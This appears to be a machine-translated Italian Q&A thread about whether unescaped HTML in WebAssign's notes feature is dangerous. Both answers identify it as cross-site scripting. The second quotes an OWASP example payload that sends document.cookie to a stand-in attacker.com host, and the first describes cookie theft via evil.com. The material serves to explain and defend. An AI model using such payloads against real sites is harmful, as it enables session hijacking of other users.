Input HTML non brevettato

Naviga le tue risposte
2

La mia scuola utilizza il sito web WebAssign per i compiti di matematica e scienze online. Una delle funzionalità di WebAssign è una sezione "Le mie note" che ti consente di inserire note per un problema e di tornare in un secondo momento senza inviare la risposta.

La finestra di dialogo "Le mie note" ha un pulsante <input> per modificare il testo e un <div> il cui innerHTML è il contenuto non elaborato delle note. Ciò significa che, ad esempio, scrivendo &pi; nella casella delle note causerà la visualizzazione di π nella vista renderizzata.

Un altro effetto collaterale interessante è che è l'HTML reso che viene copiato nella casella per ulteriori modifiche. Ad esempio, scrivendo &amp;gt; e quindi premendo ripetutamente "Modifica" e "Salva" si otterrebbe la sequenza &amp;gt; → &gt; → > mostrata nell'editor.

Puoi anche rompere la pagina scrivendo qualcosa come </div></body></html> , che viene iniettato nel grezzo HTML.

La mia domanda è se c'è qualcosa di intrinsecamente pericoloso per il server o altri utenti del sito qui. Mi sembra che non ci sia, non ho alcuna indicazione che il server stia effettivamente eseguendo degli script, ecc., Che potrei inserire lì, solo memorizzando il testo e restituendolo in seguito. Tuttavia, sembra anche esserci qualcosa di sbagliato su questa mancanza di disinfezione in un sito di produzione. Quindi questo è un problema?

    
posta wchargin 11.11.2013 - 23:23
fonte

2 risposte

6

Osservando la tua descrizione, l'applicazione sembra vulnerabile a Cross-Site Scripting (XSS) . Tale attacco può portare alla compromissione dei conti degli studenti e persino degli account con privilegi più elevati. Questo può essere dimostrato da:

  1. La vittima fa clic su un link abbreviato che porta a http://evil.com .

  2. La pagina http://evil.com contiene un modulo "My Notes" nascosto precompilato con <script> dannoso (uno script che invia il cookie dell'utente all'autore dell'attacco).

  3. Il modulo viene automaticamente inviato all'URL WebAssign legittimo (non che la richiesta sia inviata dal browser della vittima, ovvero che sia stata inviata con il cookie della vittima).

  4. La pagina WebAssign legittima viene visualizzata con il% maligno% di co_de che viene eseguito e il cookie della vittima viene inviato all'autore dell'attacco.

Questo può essere mitigato sanificando correttamente il contenuto HTML fornito dall'utente prima di inviarlo al browser e impostando il Http Only contrassegno con i cookie.

    
risposta data 12.11.2013 - 00:08
fonte
4

Le vulnerabilità che descrivi aprono altri utenti a Cross-Site Scripting (XSS) attacchi.

Un esempio direttamente dal sito OWASP:

The application uses untrusted data in the construction of the following HTML snippet without validation or escaping:

(String) page += "<input name='creditcard' type='TEXT' value='" +
request.getParameter("CC") + "'>";

The attacker modifies the 'CC' parameter in their browser to:

'><script>document.location=
'http://www.attacker.com/cgi-bin/cookie.cgi
?foo='+document.cookie</script>'.

This causes the victim’s session ID to be sent to the attacker’s website, allowing the attacker to hijack the user’s current session.

    
risposta data 12.11.2013 - 00:00
fonte

Leggi altre domande sui tag

Il link di ripristino della password Microsoft per la password porta a URL diversi? Quale pirateria informatica rischia di avere un sito se non ha caselle di input?